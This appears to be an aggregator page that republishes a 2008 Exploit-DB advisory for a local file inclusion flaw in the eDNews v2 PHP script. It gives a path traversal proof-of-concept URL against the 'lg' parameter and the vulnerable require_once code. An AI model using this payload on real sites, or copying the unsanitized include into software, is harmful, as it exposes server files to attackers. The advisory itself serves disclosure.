eDNews v2 (lg) Local File Inclusion Vulnerability

vendor:

eDNews v2

by:

milw0rm.com

7.5

CVSS

HIGH

Local File Inclusion

CWE

Product Name: eDNews v2

Affected Version From: eDNews v2

Affected Version To: eDNews v2

Patch Exists: No

Related CWE: N/A

CPE: a:edscontacts:ednews_v2

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: None

2008

eDNews v2 (lg) Local File Inclusion Vulnerability

eDNews v2 (lg) Local File Inclusion Vulnerability allows an attacker to include a file from the localhost or a remote host. This vulnerability is due to the fact that the application fails to properly sanitize user-supplied input. A remote attacker can exploit this vulnerability to include arbitrary files from the localhost or a remote host.

Mitigation:

The best way to mitigate this vulnerability is to sanitize user-supplied input.

Source

Exploit-DB raw data:

 _____   ____   __   __     _       ____        ____    ____ 
|_   _| |  _ \  \ \ / /    / \     / ___|      / ___|  / ___|
  | |   | |_) |  \ V /    / _ \   | |  _      | |     | |    
  | |   |  _ <    | |    / ___ \  | |_| |  _  | |___  | |___ 
  |_|   |_| \_\   |_|   /_/   \_\  \____| (_)  \____|  \____|



eDNews v2 (lg) Local File Inclusion Vulnerability
Script : http://www.mirrorservice.org/sites/download.sourceforge.net/pub/sourceforge/e/ed/edscontacts/eDNews_v2.zip
Poc : /eDNews_archive.php?lg=../../../../index
Vuln Code :
File eDNews_archive.php

require_once dirname( __FILE__ ).'/myConfig.php';<< 1
require_once dirname( __FILE__ ).'/languages/'.$CONFIG['language'].'.php'; << 2

File myConfig.php

if ( isset( $_REQUEST['lg'] ) ) { 
    $CONFIG['language'] = $_REQUEST['lg']; 

        ____           _           _           __  __ 
       / ___|   ___   | |       __| |         |  \/  |
      | |  _   / _ \  | |      / _` |         | |\/| |
      | |_| | | (_) | | |___  | (_| |         | |  | |
       \____|  \___/  |_____|  \__,_|  _____  |_|  |_|
                                      |_____|         

# milw0rm.com [2008-12-29]